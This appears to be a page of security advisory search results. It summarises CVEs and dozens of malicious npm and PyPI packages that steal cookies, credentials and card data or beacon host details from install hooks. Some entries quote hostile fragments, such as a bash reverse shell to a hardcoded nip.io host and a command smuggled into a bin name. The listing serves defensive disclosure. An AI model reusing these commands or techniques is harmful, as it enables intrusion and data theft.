2104505 matches found
DEBIAN-CVE-2026-85495
Bulletin has no description...
CVE-2026-94143 drogonframework drogon ORM Mapper Mapper.h orderBy sql injection
A vulnerability was detected in drogonframework drogon up to 1.9.13. Affected by this issue is the function Mapper::orderBy in the library Mapper.h of the component ORM Mapper. Performing a manipulation of the argument sort results in sql injection. The attack is possible to be carried out...
MAL-2026-16346 Malicious code in rrs (PyPI)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 78c488c5d20c788e88c2d4f0a0cb1eb03317bc71edb05964adad62241fd1295e On launch of the rrs CLI, a background thread captures a full-screen screenshot via mss and POSTs the image together with hostname, username,...
MAL-2026-16338 Malicious code in pf23727 (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector f83e32460196d036eca65e46845ea4717a9d5e64a5c2360d657d1ae6c92dfe96 index.js is the package main and runs as an IIFE on require/import. It reads document.cookie, slices document.body.innerHTML, and issues...
MAL-2026-16341 Malicious code in pflag14570 (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 2b7164c1405ab2587c562b3b9eb8cdad8258aab8f25b829da64c83d7185eab6c index.js is an IIFE that executes at module load, reads document.cookie, fetches a list of authenticated application paths /profile, /admin, /api/me,...
MAL-2026-16342 Malicious code in pflag29424 (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector d9b974c9d8555f026dfc5556c4f628d366fbaedca83eab549559fe95fc984602 index.js the package's declared main unconditionally executes on module load: it calls fetch'/profile', scans the response for a DGA... token, and...
MAL-2026-16339 Malicious code in pf25133 (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 504c3f95c937a05e14c220c767a0e18f4cada866ee5eebad0749457232ace73b The package's declared main module index.js is an IIFE that reads document.cookie, fetches a hardcoded list of application paths, extracts flag-shape...
MAL-2026-16334 Malicious code in keroeltopgg (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 52b4e331f9f02f436e01e5c7696088d12ea3237af7fbe54fd37ec37e786c960d [email protected] is a stub package whose index.js, executed on require/import, reads os.hostname and issues an HTTPS GET to the hardcoded collect...
MAL-2026-16336 Malicious code in keroeltopkkk (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 2758c1a2619db534fdc8e2981e051769b20641492d12ff984e333446e0c734e3 The package ships a single server.js that is wired into every npm lifecycle hook preinstall, install, postinstall, prepare, prepublish, preprepare,...
MAL-2026-16335 Malicious code in keroeltopkk (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector b1d7044c35cb0fb76dd0639af395bd8ca87df9981a8c73bb812b9f338e8d5cdc Package [email protected] ships only a manifest and a beacon script server.js and wires it into every npm lifecycle hook...
MAL-2026-16337 Malicious code in my-cdn-script (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector e634f64d71797bbefdaf62bd0f2092d1cace77af2a07fd41e7d2347a14bb001b [email protected] ships a client-side payment-card skimmer in script.js. When loaded on a checkout page, the script injects a fake card-input form...
MAL-2026-16340 Malicious code in pf25262 (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 95274790fd43042ecd1fc97b2c01dc194e863809626cdaee5c7e6b0a411f8aeb index.js contains a browser exfiltration snippet that issues a credentialed fetch to /profile, extracts a DGA... token or falls back to capturing...
MAL-2026-16333 Malicious code in homestack-cheer (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector f475cd8b8a3e1dd4563ca0b20d85fde83576ed78c27eb91ca1cd77fbebe0d142 The package is published as homestack-cheer with description 'JS lib support cheerleading', but the README and the UMD build dist/my-lib.umd.js prese...
MAL-2026-16318 Malicious code in @asenfotech/unplugin-element-plus (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 458bff9dc8d1f808d642b767ca08ca89253919bbf0d7fd2890b95f3b9c156926 Package presents itself as an Element Plus resolver for Vue tooling: index.js is a 25-line ElementPlusResolver stub. The bulk of the tarball under...
MAL-2026-16332 Malicious code in feed-widget-helper (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector e9c3f4f4751b0adffb78a311ee048162a853729a5dd1d0826593f394a4d663e2 On load, index.js schedules a setTimeout 2s that fetches the current origin's /profile endpoint, parses the returned HTML, extracts a.flag-value...
MAL-2026-16331 Malicious code in element-plus-vite-cli (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 7b7636f89146191d649c38819e975fc41167a53276c66aea0b43789eb8d39338 On load main index.js → bin/cli.js, the package invokes tooling-bootstrap.cjs which walks up from the consumer project's cwd/INITCWD looking for one ...
MAL-2026-16327 Malicious code in catwrestlingbird (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 80958afe2056e1a124791c9465abdb0fff080a33005cc332dd5c1869ab2ee4c0 [email protected] declares a postinstall script node install.js that automatically runs on npm install. install.js collects installer host...
MAL-2026-16344 Malicious code in sorrawit-dev-helper (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector c64040dcfbbdb6ce434caf3cd5bd2baa518cc00970281a69f5309d57a4621233 package.json declares a postinstall lifecycle script that runs automatically on npm install. The script reads /tmp/flag.txt from the installer's...
MAL-2026-16328 Malicious code in catwrestlinghuman (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 6c4045339387526c5db90832687d1691c2caddba3b9cb05006022704bf094653 package.json declares a postinstall hook node index.js. index.js is a 111KB blob composed exclusively of the JSFuck character set !+, which decodes a...
MAL-2026-16323 Malicious code in action-slack-message-root (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 6d5f3deb6623e5340770d4e8866adc3d7239938e5adefc4b699c897287d84eba package.json declares scripts.preinstall = 'node index.js', which runs automatically on npm install. index.js collects host reconnaissance —...
MAL-2026-16325 Malicious code in bulk-add-sdk (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector b131d84c624f7eb89d720ed0ec1435eef5f5f9ff800d1cef88b20c18c7374023 Package declares scripts.install: "node extract.js thd-orangepay", causing extract.js to run automatically on npm install. The script collects...
MAL-2026-16324 Malicious code in better-envforge (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 1f30026347d1db5e0ade5afe4b81a8569eb6ec0c41d1e1fa79f66dc386a6ea51 [email protected] presents itself as a dotenv-style environment configuration toolkit, but the bundled package.json inside dist/cli.cjs identifie...
MAL-2026-16329 Malicious code in chai-as-viem (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 397fee7b80d73ee4c82892a746b2bab33a4cd2f71ef1ec4fe6fbbaa0bb270308 On require of the package, index.js loads lib/initializeCaller.js, which runs an IIFE at module load. The IIFE decodes a base64-concealed URL resolvi...
MAL-2026-16326 Malicious code in byted-commerce-materials (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector f777e32b4a6cbb7f91f7fcac050a02a73e356df1c87e7dcd985ea9172a3993da package.json declares both preinstall and postinstall running node callback.js, so the payload fires automatically on npm install. callback.js collec...
MAL-2026-16343 Malicious code in siriusbeyond (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 6ce19ca17a48cf79dd094940533d1bff88413d44c945948d0041da15a5b61779 package.json wires callback.js to both the preinstall and postinstall lifecycle hooks, so npm install siriusbeyond executes it automatically...
MAL-2026-16321 Malicious code in @siriusbeyond/ui (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 3d81713c34940a8d3511a53c6cb8001481734bc2493be23d0f6ddb1dd561fa72 On npm install, both preinstall and postinstall lifecycle hooks execute callback.js, which collects installer host identity hostname, username,...
MAL-2026-16322 Malicious code in @siriusbeyond/utils (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 330b388e1f9ee72c0c2a94cca9e4cc7ff3b525a3f673b324b093286329f60689 Package @siriusbeyond/[email protected] declares both preinstall and postinstall scripts that execute callback.js on npm install. callback.js collects hos...
MAL-2026-16319 Malicious code in @dbbhk/ui-components (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 478839dda68d2c5eefa1a55557602d4b12396c988211b28d785af531d0b19d07 @dbbhk/[email protected] declares both preinstall and postinstall hooks in package.json that execute node callback.js, so the payload runs...
MAL-2026-16330 Malicious code in commerce-materials (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector bdfff371a76fd4cef2247de8c595a3981d58353391141b58a8ce31e03ec9da6d [email protected] declares preinstall and postinstall lifecycle scripts that run callback.js on every npm install. callback.js collects...
MAL-2026-16316 Malicious code in test1sdsd2 (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 3c7bd7c5932337e17adaf4900cb7e29766fe6b5307bd170b38660dd05497ebdc Package [email protected] declares preinstall and postinstall hooks in package.json that execute index.js on npm install. index.js performs an HTTP...
MAL-2026-16317 Malicious code in testmgkregme (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 496e8021fd5e2626c503e2ceeed8349ff15c68c71a5f19d8a57c67e5f1b41863 npm package [email protected] uses a binding.gyp whose sources field employs GYP command-expansion eval-AES-eval construction has no legitimate...
MAL-2026-16311 Malicious code in test12vv36 (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 9292921d0fe368160694717f99eca753070a4249696c72b2f1bff9594cab40be [email protected] declares both preinstall and postinstall lifecycle hooks that execute index.js on npm install. index.js issues an HTTP GET to a...
MAL-2026-16315 Malicious code in test1ro (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 8166d7eaf8dab64a6c21d0e0a871c64e213147082a414b93816fb080c8044b1e package.json declares preinstall and postinstall hooks that run node index.js, which reads os.hostname and issues an HTTP GET to the hardcoded...
MAL-2026-16312 Malicious code in test1df23 (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 67708642854d76da722a8130de47a8fb7fd23f0035cf646f1bf16d97419e5756 package.json declares preinstall and postinstall hooks that execute index.js on npm install. index.js issues an HTTP GET to the hardcoded bare IP...
MAL-2026-16314 Malicious code in test1hh235 (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector c9c95dc5aea7805ca50e114bae45747a46edb7331311044b0d3730e303d4351a Package declares both preinstall and postinstall lifecycle hooks that execute index.js on npm install. index.js issues an HTTP GET to the hardcoded...
MAL-2026-16313 Malicious code in test1gg234 (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector dd57f799e0797ede7d18d6a36dd05c31c34d21b4e45d554730a8d08dd310cf73 The package declares both preinstall and postinstall lifecycle hooks that execute index.js, which issues a plaintext HTTP GET to the hardcoded bare I...
MAL-2026-16310 Malicious code in npx-test-ma980 (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector adfd1e5f7cc282648da56cdf50ac9c3cb27d6165fa4a3f8f3625b4a0c2694be6 package.json declares a bin entry whose key contains shell metacharacters and a chained command: "tool & calc.exe": "./run.js". On Windows, npm's bin...
MAL-2026-16307 Malicious code in chai-testing (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector da6bebc82e500e38b0ab9c507b1d56c18a05a1ffd04fcee60f0dcad991c8944a The package's main entry index.js spawns a detached node lib/caller.js when the module is required. caller.js base64-decodes a hardcoded URL...
MAL-2026-16300 Malicious code in @baanx/solana-lib (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 6462ecac2764fc9cf78d47ee57fec1fd3d6a0cf573ee02eaddcc2e5b5f3f0d7e The package declares scripts.install = node index.js, so npm install @baanx/solana-lib automatically executes index.js, which loads lib/core.js. That...
MAL-2026-16303 Malicious code in @nimbusedge2/authxsas (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 0146259024cc8ef3a174ff98571fe4af975b3eecf9184a0a5339d42808243d10 The package's package.json declares a preinstall script that fires unconditionally on npm install. The script uses curl to query the cloud instance...
MAL-2026-16302 Malicious code in @nimbusedge2/auth (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 00e0720671ede37963c7328b0434ac8e2fe6c52dd252678f81da390e9554c0ba @nimbusedge2/auth 1.1.1 ships a 333-byte package whose package.json preinstall lifecycle hook runs bash -i with stdio redirected to...
MAL-2026-16304 Malicious code in @nimbusedge2/authxsas1 (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 0b27280b8f4c1e044e49b77e58c7c8de895a002f51be51756bc40e909d3f6fa1 package.json declares a preinstall lifecycle script that runs automatically on npm install. The script uses curl to fetch the cloud instance metadata...
MAL-2026-16309 Malicious code in npmscript_tesstalert_unpkg (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 8c84336bfcd8d43d3f97942ded74e5a049c05e024f5a4b79dbee66acff1e1627 The package ships a single script exposed via the unpkg field for CDN loading into web pages. When executed in a browser, the script reads...
MAL-2026-16308 Malicious code in chat-adapter-matrix (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 5710eb2e1a2f6b7a4aca8d943953989e80e056cc77c2071027c2a78744b5ea3a [email protected] executes server.js from every npm lifecycle hook preinstall, install, postinstall, prepare, prepublish, preprepare,...
MAL-2026-16305 Malicious code in @nimbusedge2/x (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 45d678f278cdb8171d7ac41ffa9f50b57ccb508dfa5a64bec6430efa17b2662e package.json declares a preinstall lifecycle script that runs automatically on npm install. The script invokes bash -i &...
MAL-2026-16306 Malicious code in @nimbusedge2/xa (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 537505221bc3cd73b0d5a60062d6ad127211b2d1be1f1cdfdac13053e2224a11 package.json declares a preinstall lifecycle script that runs an interactive bash reverse shell to the hardcoded host 147.93.157.202.nip.io on TCP po...
MAL-2026-16301 Malicious code in @nimbsuedge3/xar (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 85a83fa3df94cc0a526feb9df2e8a877f89713501a083059a4b8ae5a9bf2fcaf package.json declares a preinstall lifecycle script that runs bash -i & /dev/tcp/147.93.157.202.nip.io/8080 to open an interactive reverse shell to a...
CLSA-2026-1789959015 TuxCare security update for org.springframework.ldap:spring-ldap-core (1 CVE)
TuxCare rebuilt org.springframework.ldap:spring-ldap-core to address 1 CVE. Fixed in 2.3.1.RELEASE-tuxcare.1...
CVE-2026-94185 nvm alias resolution follows `..` and discloses files outside $NVM_DIR/alias
nvm resolves a requested version or alias by treating it as a filename under $NVMDIR/alias. Before 0.40.8, nvmalias concatenated the requested name onto that directory and read the result with no containment check, so a name containing a .. component escaped the alias directory; under the default...